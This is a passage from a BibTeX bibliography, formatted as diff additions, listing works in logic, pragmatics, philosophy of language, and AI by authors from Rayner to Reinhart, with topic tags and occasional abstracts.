extended-predicition-problem;temporal-reasoning;kr-course;} + } + +@article{ rayner:1991a, + author = {Manny Rayner}, + title = {On the Applicability of Nonmonotonic Logic to Formal + Reasoning in Continuous Time}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {345--360}, + contentnote = {Argues that Shoham and Sandewall have not provided + adequate reasons for the need for NM logic in formalizing + continuous systems.}, + topic = {nonmonotonic-reasoning;continuous-systems; + reasoning-about-continuous-time;} + } + +@inproceedings{ rayner-carter:1996a, + author = {Manny Rayner and David Carter}, + title = {Fast Parsing Using Pruning and Grammar Specialization}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {223--230}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-optimization;nmachine-learning;} + } + +@incollection{ rayner-etal:1997a, + author = {Manny Rayner and David Carter and Ivan Bretan and Robert Eklund + and Mats Wir\'en and Steffen Leo Hanssen and Sabine + Kirchmeier-Andersen and Christina Philip and Finn + S{\o}rensen and Hanne Erdman Thomsen}, + title = {Recycling Lingware in a Multilingual {MT} System}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {65--70}, + address = {Somerset, New Jersey}, + topic = {software-engineering;machine-translation;} + } + +@inproceedings{ rayner-etal:2000a, + author = {Manny Rayner and Beth Ann Hockey and Frankie James}, + title = {A Compact Architecture for Dialogue Management + Based on Scripts and Meta-Outputs}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {54--60}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ rayo-yablo:2001a, + author = {Agustin Rayo and Stephen Yablo}, + title = {Nominalism through De-Nominalization}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {1}, + pages = {74--92}, + topic = {philosophical-ontology;nominalization;higher-order-logic;} + } + +@book{ raz:1975a, + author = {Joseph Raz}, + title = {Practical Reason and Norms}, + publisher = {London: Hutchinson}, + year = {1975}, + address = {London}, + ISBN = {0091239818}, + topic = {practical-reason;ethics;} + } + +@book{ raz:1978a, + editor = {Joseph Raz}, + title = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + address = {Oxford}, + contentnote = {TC: + 0. Joseph Raz, "Introduction", pp. 1--17 + 1. R. Edgeley, "Practical Reason", pp. 18--33 + 2. G.E.M. Anscombe, "On Practical Reasoning", 33--45 + 3. G.H. von Wright, "On So-Called Practical + Inference", pp. 46--62 + 4. A.J.P. Kenny, "Practical Reasoning and Rational + Appetite", pp. 63--80 + 5. John Searle, "Prima Facie Obligations", pp. 81--90 + 6. B.A.O. Williams, "Ethical Consistency", 91--109 + 7. Gilbert Harman, "Reasons", pp. 110--117 + 10. Roderick Chisholm, "Practical Reason and the Logic + of Requirement", pp. 118--127 + 11. Joseph Raz, "Reasons for Action, Decisions, and + Norms", pp. 128--143 + 12. David Wiggins, "Deliberation and Practical + Reason", pp. 144--152 + 13. Thomas Nagel, "Desires, Prudential Motives, and + the Present", pp. 153--152 + 14. G.R. Grice, "Motive and Reason", pp. 168--177 + 15. Phillipa R. Foot, "Reasons for Acting and + Desires", pp. 178--184 + 16. David P. Gauthier, "Morality and Advantage", pp. 185--197 + } , + ISBN = {0198750412}, + topic = {practical-reasoning;} + } + +@incollection{ raz:1978b, + author = {Joseph Raz}, + title = {Introduction}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {1--17}, + address = {Oxford}, + topic = {practical-reasoning;} + } + +@incollection{ raz:1978c, + author = {Joseph Raz}, + title = {Reasons for Action, Decisions, and Norms}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {128--143}, + address = {Oxford}, + topic = {practical-reasoning;reasons-for-action;} + } + +@article{ reach:1938a, + author = {K. Reach}, + title = {The Name Relation and the Logical Antinomies}, + journal = {Journal of Symbolic Logic}, + year = {1938}, + volume = {3}, + pages = {97--111}, + topic = {metalinguistic-hierarchies;semantic-paradoxes;} + } + +@book{ read:1994a, + author = {Stephen Read}, + title = {Thinking about Logic}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + contentnote = {This is an introduction to philosophy of logic. + There are chapters on: Truth, Logical Consequence, + Conditionals, Possible Worlds, Existence and Ontology, + Semantic Paradoxes, Vagueness, and Constructivism.}, + topic = {philosophy-of-logic;} + } + +@article{ read:1994b, + author = {Stephen Read}, + title = {Formal and Material Consequence}, + journal = {Journal of Philosophical Logic}, + year = {1994}, + volume = {23}, + number = {3}, + pages = {247--265}, + topic = {logical-consequence;} + } + +@article{ read:2000a, + author = {Stephen Read}, + title = {Harmony and Autonomy in Classical Logic}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {2}, + pages = {123--154}, + topic = {negation;logical-constants;proof-theory;} + } + +@article{ reboul:1987a, + author = {A. Reboul}, + title = {The Relevance of {\em Relevance} for Fiction}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {729}, + missinginfo = {A's 1st name, number}, + topic = {implicature;relevance;} + } + +@article{ recanati:1987a, + author = {Fran\c{c}ois Recanati}, + title = {Literalness and Other Pragmatic Principles}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {729--730}, + missinginfo = {number}, + topic = {relevance;implicature;} + } + +@book{ recanati:1988a, + author = {Fran\c{c}ois Recanati}, + title = {Meaning and Force: The Pragmatics of + Performative Utterances}, + publisher = {Cambridge Universiy Press}, + year = {1988}, + address = {Cambridge, England}, + topic = {pragmatics;speech-acts;} + } + +@incollection{ recanati:1991a, + author = {Fran\c{c}ois Recanati}, + title = {The Pragmatics of What is Said}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Steven Davis}, + pages = {97--120}, + address = {Oxford}, + topic = {speaker-meaning;pragmatics;philosophy-of-language;} + } + +@incollection{ recanati:1994a, + author = {Fran\c{c}ois Recanati}, + title = {Processing Models for Non-Literal Discourse}, + booktitle = {Philosophy and the Cognitive Sciences}, + publisher = {H\"older-Pichler-Tempsky}, + year = {1994}, + editor = {R. Casati et al.}, + pages = {156--166}, + address = {Vienna}, + missinginfo = {E's 1st name, editors.}, + topic = {implicature;metaphor;psycholinguistics;} + } + +@incollection{ recanati:1994b, + author = {Fran\c{c}ois Recanati}, + title = {Contextualism and Anti-Contextualism in the Philosophy + of Language}, + booktitle = {Foundations of Speech Act Theory: Philosophical + and Linguistic Perspectives}, + publisher = {Routledge}, + year = {1994}, + editor = {Savas L. Tsohatzidas}, + pages = {156--166}, + address = {London}, + topic = {context;philosophy-of-language;} + } + +@article{ recanati:1995a, + author = {Fran\c{c}ois Recanati}, + title = {The Alleged Priority of Literal Interpretation}, + journal = {Cognitive Science}, + year = {1995}, + volume = {19}, + pages = {207--232}, + missinginfo = {number}, + topic = {pragmatics;metaphor;} + } + +@article{ recanati:1996b, + author = {Fran\c{c}ois Recanati}, + title = {Domains of Discourse}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {5}, + pages = {445--475}, + topic = {discourse;quantifiers;situation-semantics;pragmatics;} + } + +@book{ recanati:1997a, + author = {Fran\c{c}ois Recanati}, + title = {Direct Reference: From Language to Thought}, + publisher = {Blackwell Publishers}, + year = {1997}, + address = {Oxford}, + xref = {Review: schiffer:1996a.}, + topic = {philosophy-of-language;philosophy-of-mind;reference;} + } + +@incollection{ recanati:1998a, + author = {Fran\c{c}ois Recanati}, + title = {Contextual Domains}, + booktitle = {Discourse, Interaction, and Communication: + An Introduction}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {X. Arrizola et al.}, + pages = {25--36}, + address = {Dordrecht}, + missinginfo = {E's 1st name, editors.}, + topic = {context;philosophy-of-language;} + } + +@book{ recanati:2000a, + author = {Fran\c{c}ois Recanati}, + title = {Oratio Obliqua, Oratio Recta}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262[68116-1}, + topic = {belief;intensionality;metareasoning;} + } + +@unpublished{ rector:1985a, + author = {A.L. Rector}, + title = {What Kind of System Does an Expert Need?}, + year = {1985}, + note = {Unpublished manuscript, Department of Computer Science, + University of Manchester.}, + missinginfo = {Date is a guess.}, + topic = {expert-systems;expertise;} + } + +@unpublished{ rector:1985b, + author = {A.L. Rector}, + title = {The Knowledge Based Medical Record: Immediate-1, A Basis for + Clinical Decision Support in General Practice}, + year = {1985}, + note = {Unpublished manuscript, Department of Computer Science, + University of Manchester.}, + missinginfo = {Date is a guess.}, + topic = {medical-informatics;} + } + +@article{ rector:1986a, + author = {A.L. Rector}, + title = {Defaults, Exceptions and Ambiguity in a Medical Knowledge + Representation System}, + journal = {Medical Informatics}, + year = {1986}, + volume = {11}, + number = {4}, + pages = {295--306}, + topic = {default-reasoning;inheritance;knowledge-representation;} + } + +@unpublished{ rector:1988a, + author = {A.L. Rector}, + title = {Knowledge Representation for Cooperative Medical Systems}, + year = {1988}, + note = {Unpublished manuscript, Department of Computer Science, + University of Manchester.}, + missinginfo = {Date is a guess.}, + topic = {knowledge-representation;medical-AI;} + } + +@article{ redey:1999a, + author = {C\'abor R\'edey}, + title = {{iCTRL}: Intensional Conformal Text Representation + Language}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {33--70}, + topic = {nl-semantic-representation-formalisms;intensionality;} + } + +@article{ reece-shafer_sao:1995a, + author = {Douglas A. Reece and Steve A. Shafer}, + title = {Control of Perceptual Attention in Robot Driving}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {397--430}, + topic = {visual-attention;robot-navigation;} + } + +@inproceedings{ reed-etal:1992a, + author = {David W. Reed and Donald W. Loveland and Bruce T. Smith}, + title = {The Near-Horn Approach to Disjunctive Logic + Programming}, + booktitle = {Proceedings of the Second Workshop on Extensions + of Logic Programming}, + editor = {Lars-Henrik Eriksson and Lars Halln\"es and Peter + Schroeder-Heister}, + publisher = {Springer Verlag}, + address = {Berlin}, + year = {1992}, + topic = {disjunctive-logic-programming;} + } + +@book{ reed_am:1982a, + author = {Ann M. Reed}, + title = {Contextual Reference}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {indexicals;context;specificity;definiteness;} + } + +@inproceedings{ reed_am:1988a, + author = {Ann M. Reed}, + title = {Discourse Groups and Semantic Groups}, + booktitle = {ESCOL 88}, + editor = {J. Powers and K. de Jong}, + publisher = {Ohio State University}, + address = {Columbus}, + year = {1988}, + topic = {nl-semantics;plural;pragmatics;} + } + +@inproceedings{ reed_la:1993a, + author = {Lisa Reed}, + title = {An Aspectual Analysis of {F}rench Demonstrative `Ce'\, } , + booktitle = {Nineteenth Annual Meeting of the {B}erkeley Linguistics + Society}, + year = {1993}, + editor = {J. Guenter and B. Kaiser and C. Zoll}, + publisher = {Berkeley Linguistics Society}, + address = {Berkeley, California}, + missinginfo = {pages}, + topic = {tense-aspect;French-language;} + } + +@phdthesis{ reed_la:1993b, + author = {Lisa Reed}, + title = {Non-Truth-Conditional Aspects of Meaning and the + Level of {LF}}, + school = {Linguistics Department, University of Ottawa}, + year = {1993}, + type = {Ph.{D}. Dissertation}, + address = {Ottawa}, + topic = {nl-semantics;LF;implicature;pragmatics;} + } + +@unpublished{ reed_la:1996a, + author = {Lisa A. Reed}, + title = {Necessary vs. Probable Cause: Resolving a {F}rench Paradox}, + year = {1996}, + note = {Unpublished manuscript.}, + topic = {causatives;causality;French-language;} + } + +@unpublished{ reed_la:1997a, + author = {Lisa A. Reed}, + title = {Necessary Versus Probable Cause: Resolving a + {F}rench Paradox}, + year = {1997}, + note = {Unpublished manuscript, Pennsylvania State University}, + topic = {causality;probability;causatives;French-language;} + } + +@article{ reed_la:1999a, + author = {Lisa A. Reed}, + title = {Necessary Versus Probable Cause}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {3}, + pages = {289--326}, + topic = {causality;probability;} + } + +@article{ reeder:1995a, + author = {Nick Reeder}, + title = {Are Physical Properties Dispositions?}, + journal = {Philosophy of Science}, + year = {1995}, + volume = {62}, + number = {1}, + pages = {141--149}, + topic = {dispositions;} + } + +@article{ reeke:1996a, + author = {George N. {Reeke, Jr.}}, + title = {Review of {\em The Computational Brain}, by + {P}atricia {S}. {C}hurchland and {T}errence {J}. {S}ejenowski}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {381--391}, + xref = {Review of churchland-sejnowski:1992a.}, + topic = {foundations-of-cognitive-science;connectionism;} + } + +@article{ reese:1985a, + author = {Donna Reese}, + title = {Review of {\it Artificial Intelligence, 2nd Ed.}, by + Patrick H. Winston}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {1}, + pages = {127--128}, + xref = {Review of winston_ph:1984a.}, + topic = {AI-intro;AI-survey;} + } + +@article{ reeves_a:1977a, + author = {Alan Reeves}, + title = {Logicians, Language, and {G}eorge {L}akoff}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {2}, + pages = {221--231}, + topic = {logic-and-linguistics;} + } + +@book{ reeves_b-nass:1996a, + author = {Byron Reeves and Clifford Nass}, + title = {The Media Equation: How People Treat Computers, Television, + and New Media Like Real People and Places}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + ISBN = {157586052X}, + topic = {HCI;anthropomorphism-of-computers;} + } + +@article{ refanidis-vlahavas:2001a, + author = {Ioannis Refanidis and Ioannis Vlahavas}, + title = {The {GRT} Planner}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {63--65}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@book{ regan:1980a, + author = {Donald Regan}, + title = {Utilitarianism and Co-operation}, + publisher = {Oxford University Press}, + address = {Oxford}, + year = {1980}, + xref = {Review: conee:1983a.}, + topic = {utilitarianism;} + } + +@article{ reggia-etal:1983a, + author = {James A. Reggia and Dana S. Nau and Pearl Y. Wang}, + title = {Diagnostic Expert Systems Based on a Set Covering Model}, + journal = {International Journal of Man-Machine Studies}, + year = {1983}, + volume = {1839}, + pages = {437--460}, + missinginfo = {number}, + topic = {abduction;} + } + +@inproceedings{ reggia:1985a, + author = {James A. Reggia}, + title = {Abductive Inference}, + booktitle = {Proceedings, Expert Systems in Government Symposium}, + year = {1985}, + pages = {484--489}, + organization = {{IEEE}}, + publisher = {IEEE Computer Society Press}, + address = {New York}, + topic = {abduction;} + } + +@book{ regier:1996a, + author = {Terry Regier}, + title = {The Human Semantic Potential: Spatial Language and + Constrained Connectionism}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-18173-8}, + xref = {Review: stenning:2000a.}, + topic = {spatial-language;connectionist-models;} + } + +@book{ reichard_k-fosterjohnson:1998a, + author = {Kevin Reichard and Eric Foster-Johnson}, + title = {Teach Yourself {UNIX}}, + edition = {4}, + publisher = {IDG Books Worldwide, Inc.}, + year = {1998}, + address = {Foster City, California}, + ISBN = {155828588-1}, + topic = {operating-system-manual;UNIX;} + } + +@book{ reichenbach_h:1947a, + author = {Hans Reichenbach}, + title = {Elements of Symbolic Logic}, + publisher = {MacMillan}, + year = {1947}, + address = {New York}, + topic = {logic-text;nl-tense;} + } + +@incollection{ reichgelt:1988a, + author = {Han Reichgelt}, + title = {The Place of Defaults in a Reasoning System}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {35--57}, + address = {Chichester}, + topic = {nonmonotonic-reasoning;foundations-of-nonmonotonic-logic;} + } + +@book{ reichl:1982a, + author = {Karl Reichl}, + title = {Categorial Grammar and Word-Formation: the De-Adjectival + Abstract Noun in {E}nglish}, + publisher = {Niemeyer,}, + year = {1982}, + address = {T\"ubingen}, + ISBN = {3484421223}, + topic = {categorial-grammar;derivational-morphology;} + } + +@article{ reichman:1978a, + author = {Rachel Reichman}, + title = {Conversational Coherency}, + journal = {Cognitive Science}, + year = {1978}, + volume = {2}, + pages = {283--327}, + topic = {discourse-coherence;pragmatics;} + } + +@book{ reichman:1985a, + author = {Rachel Reichman}, + title = {Getting Computers to Talk Like You and Me}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + topic = {computational-pragmatics;discourse;} + } + +@article{ reichmanadar:1984a, + author = {Rachel {Reichman-Adar}}, + title = {Extended Person--Machine Interface}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {2}, + pages = {157--218}, + topic = {discourse;pragmatics;nl-interfaces;} + } + +@article{ reid-brady:1995a, + author = {I.D. Reid and J.M. Brady}, + title = {Recognition of Object Classes from Range Data}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {289--326}, + acontentnote = {Abstract: + We develop techniques for recognizing instances of 3D object + classes (which may consist of multiple and/or repeated sub-parts + with internal degrees of freedom, linked by parameterized + transformations), from sets of 3D feature observations. + Recognition of a class instance is structured as a search of an + interpretation tree in which geometric constraints on pairs of + sensed features not only prune the tree, but are used to + determine upper and lower bounds on the model parameter values + of the instance. A real-valued constraint propagation network + unifies the representations of the model parameters, model + constraints and feature constraints, and provides a simple and + effective mechanism for accessing and updating parameter values. + Recognition of objects with multiple internal degrees of + freedom, including non-uniform scaling and stretching, + articulations, and sub-part repetitions, is demonstrated and + analysed for two different types of real range data: 3D edge + fragments from a stereo vision system, and position/surface + normal data derived from planar patches extracted from a range + image. } , + topic = {shape-recognition;visual-reasoning;object-recognition;} + } + +@incollection{ reif-etal:1998a, + author = {W. Reif et al.}, + title = {Structured Specifications and Interactive + Proofs with {KIV}}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ reif-schellhorn:1998a, + author = {W. Reif and G. Schellhorn}, + title = {Theorem Proving in Large Theories}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ reile:1996a, + author = {Uwe Reile}, + title = {Co-Indexed Labeled {DRS}s to Represent and Reason + with Ambiguities}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + editor = {Kees {van Deemter} and Stanley Peters}, + address = {Cambridge, England}, + pages = {239--268}, + topic = {ambiguity;semantic-underspecification;} + } + +@book{ reilly-sharky:1992a, + editor = {Ronan G. Reilly and Noel E. Sharkey}, + title = {Connectionist Approaches to Natural Language Processing}, + publisher = {Lawrence Earlbaum}, + year = {1992}, + address = {Mahwah, New Jersey}, + ISBN = {0-86377-179-3}, + topic = {connectionist-modeling;nl-processing;} + } + +@book{ reimann-spada:1996a, + editor = {Peter Reimann and Hans Spada}, + title = {Learning in Humans and Machines: Towards an Interdisciplinary + Learning Science}, + publisher = {Pergamon}, + year = {1996}, + address = {New York}, + topic = {learning;} + } + +@article{ reimer:1992a, + author = {Marga Reimer}, + title = {Incomplete Descriptions}, + journal = {Erkenntnis}, + year = {1992}, + volume = {37}, + pages = {347--363}, + contentnote = {Argues that incomplete descriptions can't be + handled by the Russellian theory. She objects to + the two standard ways of doing this: the explicit + approach---where the description is completed by + ellided material; and the implicit approach---where + the domain of quantification is contextually + restricted. The problem with the implicit approach + is that usually many intensionally different, but + extensionally correct completions will be available; + there is no way to pick a single one. The problem + with the explicit approach, she argues, is that `The + F is G' and `There is exactly one F and whatever is F + is G' do not seem to express the same proposition in + the same context. (The first could be true, but the + latter false in one and the same context; the idea + being that an utterance of the expanded sentence + tends to widens the domain.) --Delia Graff.}, + topic = {definite-descriptions;context;ellipsis;} + } + +@article{ reimer:1995a, + author = {Marga Reimer}, + title = {Performative Utterances: A Reply to {B}ach and + {H}arnish}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {6}, + pages = {655--675}, + topic = {speech-acts;pragmatics;} + } + +@article{ reimer:1997a, + author = {Marga Reimer}, + title = {`{C}ompeting' Semantic Theories}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {4}, + pages = {457--477}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@article{ reimer:1998a, + author = {Marga Reimer}, + title = {Quantification and Context}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {1}, + pages = {95--115}, + topic = {nl-quantifiers;context;} + } + +@article{ reinefeld-ridinger:1994a, + author = {Alexander Reinefeld and Peter Ridinger}, + title = {Time-Efficient State Space Search}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {2}, + pages = {397--408}, + acontentnote = {Abstract: + We present two time-efficient state space algorithms for + searching minimax trees. Because they are based on SSS* and + Dual*, both dominate Alpha-Beta on a node count basis. Moreover, + one of them is always faster in searching random trees, even + when the leaf node evaluation time is negligible. The fast + execution time is attributed to the recursive nature of our + algorithms and to their efficient data structure (a simple + array) for storing the best-first node information. In practical + applications with more expensive leaf evaluations we conjecture + that the recursive state space search algorithms perform even + better and might eventually supersede the popular directional + search methods. } , + topic = {state-space-problem-solving;search;} + } + +@techreport{ reinfrank:1987a, + author = {Michael Reinfrank}, + title = {Lecture Notes on Reason Maintenance Systems. Part {I}: + Fundamentals.}, + institution = {Representation of Knowledge un Logic Laboratort, + Department of Computer and Information Science, + Link\"oping University}, + number = {87--04}, + year = {1987}, + address = {S-581 83 Link\"oping, Sweden}, + topic = {truth-maintenance;} + } + +@unpublished{ reinfrank-dressler:1988a, + author = {Michael Reinfank and Oskar Dressler}, + title = {On the Relation Between Truth Maintenance and + Autoepistemic Logic}, + year = {1988}, + note = {Unpublished manuscript, Siemens AG.}, + topic = {truth-maintenance;autoepistemic-logic;} + } + +@book{ reinfrank-etal:1988a, + editor = {Michael Reinfrank and Johan de Kleer and Matthew L. Ginsberg}, + title = {Non-Monotonic Reasoning}, + publisher = {Springer-Verlag}, + year = {1988}, + number = {346}, + series = {Lecture Notes in Artificial Intelligence}, + address = {Berlin}, + topic = {nonmonotonic-logic;} + } + +@book{ reinfrank:1989a, + editor = {Michael Reinfrank et al.}, + title = {Non-Monotonic Reasoning: 2nd International Workshop, Grassau, + June, 1988}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + ISBN = {0387507019}, + topic = {non-monotonic-logic;} + } + +@article{ reinhardt:1985a, + author = {William L. Reinhardt}, + title = {The Consistency of a Variant of {C}hurch's Thesis with + an Axiomatic Theory of an Epistemic Notion}, + journal = {Revista Colombiana de Mathematicas}, + year = {1985}, + note = {Proceedings of the V Latin American Symposium on + Mathematical Logic, edited by Xavier Caicedo, N.C.A. da Costa, + and R. Chuaqui.}, + volume = {19}, + number = {1--2}, + pages = {177--199}, + topic = {epistemic-arithmetic;Church's-thesis;} + } + +@article{ reinhardt_l:1967a, + author = {L.R. Reinhardt}, + title = {Propositions and Speech Acts}, + journal = {Mind}, + year = {1967}, + volume = {76}, + pages = {166--183}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;pragmatics;} + } + +@unpublished{ reinhardt_w:1981a, + author = {William N. Reinhardt}, + title = {The Concept of Mathematical Necessity}, + year = {1981}, + note = {Unpublished manuscript, Mathematics Department, University + of Colorado.}, + topic = {set-theory;modal-logic;} + } + +@unpublished{ reinhardt_w:1983a, + author = {William N. Reinhardt}, + title = {Absolute Versions of Completeness Theorems}, + year = {1983}, + note = {Unpublished manuscript, Mathematics Department, University + of Colorado.}, + topic = {goedels-first-theorem;goedels-second-theorem;} + } + +@article{ reinhardt_wn:1980a, + author = {William N. Reinhardt}, + title = {Necessary Predicates and Operators}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {4}, + pages = {437--450}, + topic = {syntactic-attitudes;} + } + +@incollection{ reinhardt_wn:1980b, + author = {William N. Reinhardt}, + title = {Satisfaction Definitions and Axioms of Infinity in + a Theory of Properties with Necessity Operator}, + booktitle = {Mathematical Logic in {L}atin {A}merica}, + publisher = {North-Holland Publishing Co.}, + year = {1980}, + editor = {A.I. Arruda and R. Chuaqui and N.C.A. da Costa}, + address = {Amsterdam}, + xref = {Erratum: reinhart:1980c.}, + topic = {intensional-logic;} + } + +@unpublished{ reinhardt_wn:1980c, + author = {William N. Reinhardt}, + title = {Satisfaction Definitions and Axioms of Infinity in + a Theory of Properties with Necessity Operator}, + year = {1980}, + note = {Unpublished manuscript, Mathematics Department, University + of Colorado.}, + xref = {Corrections to: reinhardt_w:1980b.}, + topic = {intensional-logic;} + } + +@inproceedings{ reinhardt_wn:1981a, + author = {William N. Reinhardt}, + title = {The Consistency of a Variant of {C}hurch's Thesis with an + Axiomatic Theory of an Epistemic Notation}, + booktitle = {Proceedings of the {V} {L}atin {A}merican + {S}ymposium on {M}athematical {L}ogic}, + editor = {Xavier Caicedo}, + missinginfo = {publisher, address, pages, year}, + xref = {Correction: reinhardt_w:1982a.}, + topic = {Church's-thesis;} + } + +@unpublished{ reinhardt_wn:1982a, + author = {William N. Reinhardt}, + title = {Correction to `The Consistency of a Variant of {C}hurch's + Thesis with an Axiomatic Theory of an Epistemic Notation'\,}, + year = {1982}, + note = {Unpublished manuscript, Mathematics Department, University + of Colorado.}, + xref = {Correction to: reinhardt_w:1981a.}, + topic = {Church's-thesis;} + } + +@article{ reinhardt_wn:1986a, + author = {William N. Reinhardt}, + title = {Epistemic Theories and the Interpretation of {G}\"odel's + Incompleteness Theorem}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {4}, + pages = {427--474}, + topic = {goedels-second-theorem;epistemic-logic;epistemic-arithmetic;} + } + +@article{ reinhardt_wn:1986b, + author = {William N. Reinhardt}, + title = {Some Remarks on Extending and Interpreting Theories + with a Partial Predicate for Truth}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {2}, + pages = {219--251}, + topic = {truth;partial-logic;} + } + +@book{ reinhart:1975a1, + author = {Tanya Reinhart}, + title = {Pragmatics and Linguistics: An Analysis of Sentence + Topics}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Journal publication: reinhart:1975a2.}, + topic = {s-topic;pragmatics;} + } + +@article{ reinhart:1975a2, + author = {Tanya Reinhart}, + title = {Pragmatics and Linguistics: An Analysis of Sentence Topics}, + journal = {Philosophica}, + year = {1981}, + volume = {27}, + number = {1}, + pages = {53--93}, + xref = {IULC publication: reinhart:1975a1.}, + topic = {s-topic;pragmatics;} + } + +@phdthesis{ reinhart:1976a, + author = {Tanya Reinhart}, + title = {The Syntactic Domain of Anaphora}, + school = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1976}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;nl-semantics;anaphora;} + } + +@incollection{ reinhart:1978a, + author = {Tanya Reinhart}, + title = {Syntactic Domains for Semantic Rules}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {107--130}, + address = {Dordrecht}, + topic = {nl-semantics;nl-syntax;syntax-semantics-interface;} + } + +@book{ reinhart:1983a, + author = {Tanya Reinhart}, + title = {Anaphora and Semantic Interpretation}, + publisher = {Chicago University Press}, + year = {1983}, + address = {Chicago, Illinois}, + topic = {nl-syntax;nl-semantics;anaphora;} + } + +@article{ reinhart:1983b, + author = {Tanya Reinhart}, + title = {Coreference and Bound Anaphora: A Restatement of + the Anaphora Questions}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {1}, + pages = {47--88}, + contentnote = {This is an excellent survey.}, + topic = {anaphora;} + } + +@incollection{ reinhart:1986a, + author = {Tanya Reinhart}, + title = {On the Interpetation of `Donkey' Sentences}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly + and Charles Ferguson}, + pages = {103--122}, + address = {Cambridge, England}, + topic = {donkey-anaphora;conditionals;} + } + +@article{ reinhart:1997a, + author = {Tanya Reinhart}, + title = {Quantifier Scope: How Labor is Divided Between {QR} and + Choice Functions}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {4}, + pages = {335--397}, + topic = {nl-semantics;nl-quantifier-scope;} + } + +@article{ reinhart:1997b, + author = {Tanya Reinhart}, + title = {{\it Wh}-in-situ in the Framework of the Minimalist + Program}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {29--56}, + topic = {syntactic-minimalism;nl-syntax;} + } + +@incollection{ reinhart_t:1987a, + author = {Tanya Reinhart}, + title = {Specifier and Operator Binding}, + booktitle = {The Representation of (In)definites}, + publisher = 